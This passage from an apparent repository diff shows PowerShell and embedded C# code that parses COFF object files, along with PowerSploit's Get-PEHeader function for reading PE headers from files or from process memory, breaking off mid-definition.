LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
MEM_SHARED = 0x10000000, // Section is shareable.
MEM_EXECUTE = 0x20000000, // Section is executable.
MEM_READ = 0x40000000, // Section is readable.
MEM_WRITE = 0x80000000 // Section is writeable.
}
public enum AMD64RelocationType : ushort
{
ABSOLUTE,
ADDR64,
ADDR32,
ADDR32NB,
REL32,
REL32_1,
REL32_2,
REL32_3,
REL32_4,
REL32_5,
SECTION,
SECREL,
SECREL7,
TOKEN,
SREL32,
PAIR,
SSPAN32
}
public enum ARMRelocationType : ushort
{
ABSOLUTE,
ADDR32,
ADDR32NB,
BRANCH24,
BRANCH11,
TOKEN,
BLX24 = 0x08,
BLX11 = 0x09,
SECTION = 0x0E,
SECREL = 0x0F,
MOV32A = 0x10,
MOV32T = 0x11,
BRANCH20T = 0x12,
BRANCH24T = 0x14,
BLX23T = 0x15
}
public enum ARMv8RelocationType : ushort
{
ABSOLUTE,
ADDR32,
ADDR32NB,
BRANCH26,
PAGEBASE_REL21,
REL21,
PAGEOFFSET_12A,
PAGEOFFSET_12L,
SECREL,
SECREL_LOW12A,
SECREL_HIGH12A,
SECREL_LOW12L,
TOKEN,
SECTION,
ADDR64
}
public enum X86RelocationType : ushort
{
ABSOLUTE,
DIR16,
DIR32 = 0x06,
DIR32NB = 0x07,
SEG12 = 0x09,
SECTION = 0x0A,
SECREL = 0x0B,
TOKEN = 0x0C,
SECREL7 = 0x0D,
REL32 = 0x14
}
public class RelocationEntry
{
public uint VirtualAddress;
public uint SymbolTableIndex;
public Enum Type;
public string Name;
public RelocationEntry(BinaryReader br)
{
this.VirtualAddress = br.ReadUInt32();
this.SymbolTableIndex = br.ReadUInt32();
// Default to X86RelocationType. This will be changed once the processor type is determined
this.Type = (X86RelocationType) br.ReadUInt16();
}
}
public class SECTION_HEADER
{
public string Name;
public uint PhysicalAddress;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public SectionHeaderCharacteristics Characteristics;
public Byte[] RawData;
public RelocationEntry[] Relocations;
public SECTION_HEADER(BinaryReader br)
{
this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0];
this.PhysicalAddress = br.ReadUInt32();
this.VirtualSize = this.PhysicalAddress;
this.VirtualAddress = br.ReadUInt32();
this.SizeOfRawData = br.ReadUInt32();
this.PointerToRawData = br.ReadUInt32();
this.PointerToRelocations = br.ReadUInt32();
this.PointerToLinenumbers = br.ReadUInt32();
this.NumberOfRelocations = br.ReadUInt16();
this.NumberOfLinenumbers = br.ReadUInt16();
this.Characteristics = (SectionHeaderCharacteristics) br.ReadUInt32();
}
}
public enum SectionNumber : short
{
UNDEFINED,
ABSOLUTE = -1,
DEBUG = -2
}
[Flags]
public enum TypeClass : short
{
TYPE_NULL,
TYPE_VOID,
TYPE_CHAR,
TYPE_SHORT,
TYPE_INT,
TYPE_LONG,
TYPE_FLOAT,
TYPE_DOUBLE,
TYPE_STRUCT,
TYPE_UNION,
TYPE_ENUM,
TYPE_MOE,
TYPE_BYTE,
TYPE_WORD,
TYPE_UINT,
TYPE_DWORD,
DTYPE_POINTER = 0x100,
DTYPE_FUNCTION = 0x200,
DTYPE_ARRAY = 0x300,
DTYPE_NULL = 0x400 // Technically, this is defined as 0 in the MSB
}
public enum StorageClass : byte
{
NULL,
AUTOMATIC,
EXTERNAL,
STATIC,
REGISTER,
EXTERNAL_DEF,
LABEL,
UNDEFINED_LABEL,
MEMBER_OF_STRUCT,
ARGUMENT,
STRUCT_TAG,
MEMBER_OF_UNION,
UNION_TAG,
TYPE_DEFINITION,
ENUM_TAG,
MEMBER_OF_ENUM,
REGISTER_PARAM,
BIT_FIELD,
BLOCK = 0x64,
FUNCTION = 0x65,
END_OF_STRUCT = 0x66,
FILE = 0x67,
SECTION = 0x68,
WEAK_EXTERNAL = 0x69,
CLR_TOKEN = 0x6B,
END_OF_FUNCTION = 0xFF
}
public class SYMBOL_TABLE
{
public string Name;
public uint Value;
public SectionNumber SectionNumber;
public TypeClass Type;
public StorageClass StorageClass;
public byte NumberOfAuxSymbols;
public Object AuxSymbols;
private Byte[] NameArray;
public SYMBOL_TABLE(BinaryReader br)
{
this.NameArray = br.ReadBytes(8);
if (this.NameArray[0] == 0 && this.NameArray[1] == 0 &&this.NameArray[2] == 0 &&this.NameArray[3] == 0)
{
// Per specification, if the high DWORD is 0, then then low DWORD is an index into the string table
this.Name = "/" + BitConverter.ToInt32(NameArray, 4).ToString();
}
else
{
this.Name = Encoding.UTF8.GetString(NameArray).Trim(((char) 0));
}
this.Value = br.ReadUInt32();
this.SectionNumber = (SectionNumber) br.ReadInt16();
this.Type = (TypeClass) br.ReadInt16();
if ((((int) this.Type) & 0xff00) == 0) { this.Type = (TypeClass) Enum.Parse(typeof(TypeClass), ((int) this.Type | 0x400).ToString());}
this.StorageClass = (StorageClass) br.ReadByte();
this.NumberOfAuxSymbols = br.ReadByte();
}
}
public class SECTION_DEFINITION
{
public uint Length;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint CheckSum;
public ushort Number;
public byte Selection;
public SECTION_DEFINITION(BinaryReader br)
{
this.Length = br.ReadUInt32();
this.NumberOfRelocations = br.ReadUInt16();
this.NumberOfLinenumbers = br.ReadUInt16();
this.CheckSum = br.ReadUInt32();
this.Number = br.ReadUInt16();
this.Selection = br.ReadByte();
br.ReadBytes(3);
}
}
}
'@
Add-Type -TypeDefinition $Code
function Dispose-Objects
{
$BinaryReader.Dispose()
$FileStream.Dispose()
}
}
PROCESS
{
foreach ($File in $Path) {
# Resolve the absolute path of the object file. [IO.File]::OpenRead requires an absolute path.
$ObjFilePath = Resolve-Path $File
# Pull out just the file name
$ObjFileName = Split-Path $ObjFilePath -Leaf
# Fixed structure sizes
$SizeofCOFFFileHeader = 20
$SizeofSectionHeader = 40
$SizeofSymbolTableEntry = 18
$SizeofRelocationEntry = 10
# Open the object file for reading
$FileStream = [IO.File]::OpenRead($ObjFilePath)
$FileLength = $FileStream.Length
if ($FileLength -lt $SizeofCOFFFileHeader)
{
# You cannot parse the COFF header if the file is not big enough to contain a COFF header.
Write-Error "$($ObjFileName) is too small to store a COFF header."
Dispose-Objects
return
}
# Open a BinaryReader object for the object file
$BinaryReader = New-Object IO.BinaryReader($FileStream)
# Parse the COFF header
$CoffHeader = New-Object COFF.HEADER($BinaryReader)
if ($CoffHeader.SizeOfOptionalHeader -ne 0)
{
# Per the PECOFF specification, an object file does not have an optional header
Write-Error "Coff header indicates the existence of an optional header. An object file cannot have an optional header."
Dispose-Objects
return
}
if ($CoffHeader.PointerToSymbolTable -eq 0)
{
Write-Error 'An object file is supposed to have a symbol table.'
Dispose-Objects
return
}
if ($FileLength -lt (($CoffHeader.NumberOfSections * $SizeofSectionHeader) + $SizeofCOFFFileHeader))
{
# The object file isn't big enough to store the number of sections present.
Write-Error "$($ObjFileName) is too small to store section header data."
Dispose-Objects
return
}
# A string collection used to store section header names. This collection is referenced while
# parsing the symbol table entries whose name is the same as the section header. In this case,
# the symbol entry will have a particular auxiliary symbol table entry.
$SectionHeaderNames = New-Object Collections.Specialized.StringCollection
# Correlate the processor type to the relocation type. There are more relocation type defined
# in the PECOFF specification, but I don't expect those to be present. In that case, relocation
# entries default to X86RelocationType.
$SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections)
$MachineTypes = @{ [COFF.Machine]::I386 = [COFF.X86RelocationType]
[COFF.Machine]::AMD64 = [COFF.AMD64RelocationType]
[COFF.Machine]::ARMV7 = [COFF.ARMRelocationType]
[COFF.Machine]::ARM64 = [COFF.ARMv8RelocationType] }
# Parse section headers
for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
{
$SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader)
# Add the section name to the string collection. This will be referenced during symbol table parsing.
$SectionHeaderNames.Add($SectionHeaders[$i].Name) | Out-Null
# Save the current filestream position. We are about to jump out of place.
$SavedFilePosition = $FileStream.Position
# Check to see if the raw data points beyond the actual file size
if (($SectionHeaders[$i].PointerToRawData + $SectionHeaders[$i].SizeOfRawData) -gt $FileLength)
{
Write-Error "$($SectionHeaders[$i].Name) section header's raw data exceeds the size of the object file."
return
}
else
{
# Read the raw data into a byte array
$FileStream.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null
$SectionHeaders[$i].RawData = $BinaryReader.ReadBytes($SectionHeaders[$i].SizeOfRawData)
}
# Check to see if the section has a relocation table
if ($SectionHeaders[$i].PointerToRelocations -and $SectionHeaders[$i].NumberOfRelocations)
{
# Check to see if the relocation entries point beyond the actual file size
if (($SectionHeaders[$i].PointerToRelocations + ($SizeofRelocationEntry * $SectionHeaders[$i].NumberOfRelocations)) -gt $FileLength)
{
Write-Error "$($SectionHeaders[$i].Name) section header's relocation entries exceeds the soze of the object file."
return
}
$FileStream.Seek($SectionHeaders[$i].PointerToRelocations, 'Begin') | Out-Null
$Relocations = New-Object COFF.RelocationEntry[]($SectionHeaders[$i].NumberOfRelocations)
for ($j = 0; $j -lt $SectionHeaders[$i].NumberOfRelocations; $j++)
{
$Relocations[$j] = New-Object COFF.RelocationEntry($BinaryReader)
# Cast the relocation as its respective type
$Relocations[$j].Type = ($Relocations[$j].Type.value__ -as $MachineTypes[$CoffHeader.Machine])
}
# Add the relocation table entry to the section header
$SectionHeaders[$i].Relocations = $Relocations
}
# Restore the original filestream pointer
$FileStream.Seek($SavedFilePosition, 'Begin') | Out-Null
}
# Retrieve the contents of the COFF string table
$SymTableSize = $CoffHeader.NumberOfSymbols * $SizeofSymbolTableEntry
$StringTableOffset = $CoffHeader.PointerToSymbolTable + $SymTableSize
if ($StringTableOffset -gt $FileLength)
{
Write-Error 'The string table points beyond the end of the file.'
Dispose-Objects
return
}
$FileStream.Seek($StringTableOffset, 'Begin') | Out-Null
$StringTableLength = $BinaryReader.ReadUInt32()
if ($StringTableLength -gt $FileLength)
{
Write-Error "The string table's length exceeds the length of the file."
Dispose-Objects
return
}
$StringTable = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($StringTableLength))
$RawSymbolTable = New-Object COFF.SYMBOL_TABLE[]($CoffHeader.NumberOfSymbols)
# Retrieve the symbol table
if ($FileLength -lt $StringTableOffset)
{
"Symbol table is larger than the file size."
return
}
$FileStream.Seek($CoffHeader.PointerToSymbolTable, 'Begin') | Out-Null
$NumberofRegularSymbols = 0
<#
Go through each symbol table looking for auxiliary symbols to parse
Currently supported auxiliary symbol table entry formats:
1) .file
2) Entry names that match the name of a section header
#>
for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++)
{
# Parse the symbol tables regardless of whether they are normal or auxiliary symbols
$RawSymbolTable[$i] = New-Object COFF.SYMBOL_TABLE($BinaryReader)
if ($RawSymbolTable[$i].NumberOfAuxSymbols -eq 0)
{
# This symbol table entry has no auxiliary symbols
$NumberofRegularSymbols++
}
elseif ($RawSymbolTable[$i].Name -eq '.file')
{
$TempPosition = $FileStream.Position # Save filestream position
# Retrieve the file name
$RawSymbolTable[$i].AuxSymbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($RawSymbolTable[$i].NumberOfAuxSymbols * $SizeofSymbolTableEntry)).TrimEnd(([Char] 0))
$FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position
}
elseif ($SectionHeaderNames.Contains($RawSymbolTable[$i].Name))
{
$TempPosition = $FileStream.Position # Save filestream position
$RawSymbolTable[$i].AuxSymbols = New-Object COFF.SECTION_DEFINITION($BinaryReader)
$FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position
}
}
# Create an array of symbol table entries without auxiliary table entries
$SymbolTable = New-Object COFF.SYMBOL_TABLE[]($NumberofRegularSymbols)
$j = 0
for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++)
{
$SymbolTable[$j] = $RawSymbolTable[$i] # FYI, the first symbol table entry will never be an aux symbol
$j++
# Skip over the auxiliary symbols
if ($RawSymbolTable[$i].NumberOfAuxSymbols -ne 0)
{
$i += $RawSymbolTable[$i].NumberOfAuxSymbols
}
}
# Dispose the binaryreader and filestream objects
Dispose-Objects
# Fix the section names if any of them point to the COFF string table
for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
{
if ($SectionHeaders[$i].Name.IndexOf('/') -eq 0)
{
$StringTableIndex = $SectionHeaders[$i].Name.SubString(1)
if ($StringTableIndex -match '^[1-9][0-9]*$')
{
$StringTableIndex = ([Int] $StringTableIndex) - 4
if ($StringTableIndex -gt ($StringTableLength + 4))
{
Write-Error 'String table entry exceeds the bounds of the object file.'
}
$Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex)
$SectionHeaders[$i].Name = $StringTable.Substring($StringTableIndex, $Length)
}
}
}
# Fix the symbol table names
for ($i = 0; $i -lt $SymbolTable.Length; $i++)
{
if ($SymbolTable[$i].Name.IndexOf('/') -eq 0)
{
$StringTableIndex = $SymbolTable[$i].Name.SubString(1)
if ($StringTableIndex -match '^[1-9][0-9]*$')
{
$StringTableIndex = ([Int] $StringTableIndex) - 4
$Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $StringTableIndex
$SymbolTable[$i].Name = $StringTable.Substring($StringTableIndex, $Length)
}
}
}
# Apply symbol names to the relocation entries
$SectionHeaders | Where-Object { $_.Relocations } | % {
$_.Relocations | % { $_.Name = $RawSymbolTable[$_.SymbolTableIndex].Name }
}
$Result = @{
COFFHeader = $CoffHeader
SectionHeaders = $SectionHeaders
SymbolTable = $SymbolTable
}
$ParsedObjectFile = New-Object PSObject -Property $Result
$ParsedObjectFile.PSObject.TypeNames[0] = 'COFF.OBJECT_FILE'
Write-Output $ParsedObjectFile
}
}
END {}
}
-960
View File
@@ -1,960 +0,0 @@
function Get-PEHeader
{
<#
.SYNOPSIS
Parses and outputs the PE header of a process in memory or a PE file on disk.
PowerSploit Function: Get-PEHeader
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: PETools.format.ps1xml
.DESCRIPTION
Get-PEHeader retrieves PE headers including imports and exports from either a file on disk or a module in memory. Get-PEHeader will operate on single PE header but you can also feed it the output of Get-ChildItem or Get-Process! Get-PEHeader works on both 32 and 64-bit modules.
.PARAMETER FilePath
Specifies the path to the portable executable file on disk
.PARAMETER ProcessID
Specifies the process ID.
.PARAMETER Module
The name of the module. This parameter is typically only used in pipeline expressions
.PARAMETER ModuleBaseAddress
The base address of the module
.PARAMETER GetSectionData
Retrieves raw section data.
.OUTPUTS
System.Object
Returns a custom object consisting of the following: compile time, section headers, module name, DOS header, imports, exports, file header, optional header, and PE signature.
.EXAMPLE
C:\PS> Get-Process cmd | Get-PEHeader
Description
-----------
Returns the full PE headers of every loaded module in memory
.EXAMPLE
C:\PS> Get-ChildItem C:\Windows\*.exe | Get-PEHeader
Description
-----------
Returns the full PE headers of every exe in C:\Windows\
.EXAMPLE
C:\PS> Get-PEHeader C:\Windows\System32\kernel32.dll
Module : C:\Windows\System32\kernel32.dll
DOSHeader : PE+_IMAGE_DOS_HEADER
FileHeader : PE+_IMAGE_FILE_HEADER
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
SectionHeaders : {.text, .data, .rsrc, .reloc}
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
dll; VA=0x000CB630}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB63C}, @{Ordinal=; FunctionName=RtlCaptu
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB650}
, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x000CB66C}...}
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x0F022708}, @{Forwar
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x0F026A23}, @{ForwardedName=;
FunctionName=lstrlen; Ordinal=0x0550; VA=0x0F026A23}, @{ForwardedName=; FunctionN
ame=lstrcpynW; Ordinal=0x054F; VA=0x0F04E54E}...}
.EXAMPLE
C:\PS> $Proc = Get-Process cmd
C:\PS> $Kernel32Base = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'kernel32.dll'}).BaseAddress
C:\PS> Get-PEHeader -ProcessId $Proc.Id -ModuleBaseAddress $Kernel32Base
Module :
DOSHeader : PE+_IMAGE_DOS_HEADER
FileHeader : PE+_IMAGE_FILE_HEADER
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
SectionHeaders : {.text, .data, .rsrc, .reloc}
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
dll; VA=0x77B8B6D9}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B8B4CB}, @{Ordinal=; FunctionName=RtlCaptu
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B95277}
, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x77B4FF54}...}
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x08221720}, @{Forwar
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x08225A3B}, @{ForwardedName=;
FunctionName=lstrlen; Ordinal=0x0550; VA=0x08225A3B}, @{ForwardedName=; FunctionN
ame=lstrcpynW; Ordinal=0x054F; VA=0x0824D566}...}
Description
-----------
A PE header is returned upon providing the module's base address. This technique would be useful for dumping the PE header of a rogue module that is invisible to Windows - e.g. a reflectively loaded meterpreter binary (metsrv.dll).
.NOTES
Be careful if you decide to specify a module base address. Get-PEHeader does not check for the existence of an MZ header. An MZ header is not a prerequisite for reflectively loading a module in memory. If you provide an address that is not an actual PE header, you could crash the process.
.LINK
http://www.exploit-monday.com/2012/07/get-peheader.html
#>
[CmdletBinding(DefaultParameterSetName = 'OnDisk')] Param (
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'OnDisk', ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $FilePath,
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('Id')] [Int] $ProcessID,
[Parameter(Position = 2, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('MainModule')] [Alias('Modules')] [System.Diagnostics.ProcessModule[]] $Module,
[Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress,
[Parameter()] [Switch] $GetSectionData
)
PROCESS {
switch ($PsCmdlet.ParameterSetName) {
'OnDisk' {
if ($FilePath.Length -gt 1) {
foreach ($Path in $FilePath) { Get-PEHeader $Path }
}
if (!(Test-Path $FilePath)) {
Write-Warning 'Invalid path or file does not exist.'
return
}
$FilePath = Resolve-Path $FilePath
if ($FilePath.GetType() -eq [System.Array]) {
$ModuleName = $FilePath[0]
} else {
$ModuleName = $FilePath
}
}
'InMemory' {
if ($Module.Length -gt 1) {
foreach ($Mod in $Module) {
$BaseAddr = $Mod.BaseAddress
Get-PEHeader -ProcessID $ProcessID -Module $Mod -ModuleBaseAddress $BaseAddr
}
}
if (-not $ModuleBaseAddress) { return }
if ($ProcessID -eq $PID) {
Write-Warning 'You cannot parse the PE header of the current process. Open another instance of PowerShell.'
return
}
if ($Module) {
$ModuleName = $Module[0].FileName
} else {
$ModuleName = ''
}
}
}
try { [PE] | Out-Null } catch [Management.Automation.RuntimeException]
{
$code = @"
using System;
using System.Runtime.InteropServices;
public class PE
{
[Flags]
public enum IMAGE_DOS_SIGNATURE : ushort
{
DOS_SIGNATURE = 0x5A4D, // MZ
OS2_SIGNATURE = 0x454E, // NE
OS2_SIGNATURE_LE = 0x454C, // LE
VXD_SIGNATURE = 0x454C, // LE
}
[Flags]
public enum IMAGE_NT_SIGNATURE : uint
{
VALID_PE_SIGNATURE = 0x00004550 // PE00
}
[Flags]
public enum IMAGE_FILE_MACHINE : ushort
{
UNKNOWN = 0,
I386 = 0x014c, // Intel 386.
R3000 = 0x0162, // MIPS little-endian =0x160 big-endian
R4000 = 0x0166, // MIPS little-endian
R10000 = 0x0168, // MIPS little-endian
WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2
ALPHA = 0x0184, // Alpha_AXP
SH3 = 0x01a2, // SH3 little-endian
SH3DSP = 0x01a3,
SH3E = 0x01a4, // SH3E little-endian
SH4 = 0x01a6, // SH4 little-endian
SH5 = 0x01a8, // SH5
ARM = 0x01c0, // ARM Little-Endian
THUMB = 0x01c2,
ARMNT = 0x01c4, // ARM Thumb-2 Little-Endian
AM33 = 0x01d3,
POWERPC = 0x01F0, // IBM PowerPC Little-Endian
POWERPCFP = 0x01f1,
IA64 = 0x0200, // Intel 64
MIPS16 = 0x0266, // MIPS
ALPHA64 = 0x0284, // ALPHA64
MIPSFPU = 0x0366, // MIPS
MIPSFPU16 = 0x0466, // MIPS
AXP64 = ALPHA64,
TRICORE = 0x0520, // Infineon
CEF = 0x0CEF,
EBC = 0x0EBC, // EFI public byte Code
AMD64 = 0x8664, // AMD64 (K8)
M32R = 0x9041, // M32R little-endian
CEE = 0xC0EE
}
[Flags]
public enum IMAGE_FILE_CHARACTERISTICS : ushort
{
IMAGE_RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file.
IMAGE_EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references).
IMAGE_LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file.
IMAGE_LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file.
IMAGE_AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set
IMAGE_LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses
IMAGE_REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed.
IMAGE_32BIT_MACHINE = 0x0100, // 32 bit public ushort machine.
IMAGE_DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file
IMAGE_REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file.
IMAGE_NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file.
IMAGE_SYSTEM = 0x1000, // System File.
IMAGE_DLL = 0x2000, // File is a DLL.
IMAGE_UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine
IMAGE_REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed.
}
[Flags]
public enum IMAGE_NT_OPTIONAL_HDR_MAGIC : ushort
{
PE32 = 0x10b,
PE64 = 0x20b
}
[Flags]
public enum IMAGE_SUBSYSTEM : ushort
{
UNKNOWN = 0, // Unknown subsystem.
NATIVE = 1, // Image doesn't require a subsystem.
WINDOWS_GUI = 2, // Image runs in the Windows GUI subsystem.
WINDOWS_CUI = 3, // Image runs in the Windows character subsystem.
OS2_CUI = 5, // image runs in the OS/2 character subsystem.
POSIX_CUI = 7, // image runs in the Posix character subsystem.
NATIVE_WINDOWS = 8, // image is a native Win9x driver.
WINDOWS_CE_GUI = 9, // Image runs in the Windows CE subsystem.
EFI_APPLICATION = 10,
EFI_BOOT_SERVICE_DRIVER = 11,
EFI_RUNTIME_DRIVER = 12,
EFI_ROM = 13,
XBOX = 14,
WINDOWS_BOOT_APPLICATION = 16
}
[Flags]
public enum IMAGE_DLLCHARACTERISTICS : ushort
{
DYNAMIC_BASE = 0x0040, // DLL can move.
FORCE_INTEGRITY = 0x0080, // Code Integrity Image
NX_COMPAT = 0x0100, // Image is NX compatible
NO_ISOLATION = 0x0200, // Image understands isolation and doesn't want it
NO_SEH = 0x0400, // Image does not use SEH. No SE handler may reside in this image
NO_BIND = 0x0800, // Do not bind this image.
WDM_DRIVER = 0x2000, // Driver uses WDM model
TERMINAL_SERVER_AWARE = 0x8000
}
[Flags]
public enum IMAGE_SCN : uint
{
TYPE_NO_PAD = 0x00000008, // Reserved.
CNT_CODE = 0x00000020, // Section contains code.
CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data.
CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data.
LNK_INFO = 0x00000200, // Section contains comments or some other type of information.
LNK_REMOVE = 0x00000800, // Section contents will not become part of image.
LNK_COMDAT = 0x00001000, // Section contents comdat.
NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section.
GPREL = 0x00008000, // Section content can be accessed relative to GP
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified.
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
MEM_SHARED = 0x10000000, // Section is shareable.
MEM_EXECUTE = 0x20000000, // Section is executable.
MEM_READ = 0x40000000, // Section is readable.
MEM_WRITE = 0x80000000 // Section is writeable.
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_DOS_HEADER
{
public IMAGE_DOS_SIGNATURE e_magic; // Magic number
public ushort e_cblp; // public bytes on last page of file
public ushort e_cp; // Pages in file
public ushort e_crlc; // Relocations
public ushort e_cparhdr; // Size of header in paragraphs
public ushort e_minalloc; // Minimum extra paragraphs needed
public ushort e_maxalloc; // Maximum extra paragraphs needed
public ushort e_ss; // Initial (relative) SS value
public ushort e_sp; // Initial SP value
public ushort e_csum; // Checksum
public ushort e_ip; // Initial IP value
public ushort e_cs; // Initial (relative) CS value
public ushort e_lfarlc; // File address of relocation table
public ushort e_ovno; // Overlay number
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string e_res; // This will contain 'Detours!' if patched in memory
public ushort e_oemid; // OEM identifier (for e_oeminfo)
public ushort e_oeminfo; // OEM information; e_oemid specific
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=10)] // , ArraySubType=UnmanagedType.U4
public ushort[] e_res2; // Reserved public ushorts
public int e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_FILE_HEADER
{
public IMAGE_FILE_MACHINE Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public IMAGE_FILE_CHARACTERISTICS Characteristics;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_NT_HEADERS32
{
public IMAGE_NT_SIGNATURE Signature;
public _IMAGE_FILE_HEADER FileHeader;
public _IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_NT_HEADERS64
{
public IMAGE_NT_SIGNATURE Signature;
public _IMAGE_FILE_HEADER FileHeader;
public _IMAGE_OPTIONAL_HEADER64 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_OPTIONAL_HEADER32
{
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public IMAGE_SUBSYSTEM Subsystem;
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_OPTIONAL_HEADER64
{
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
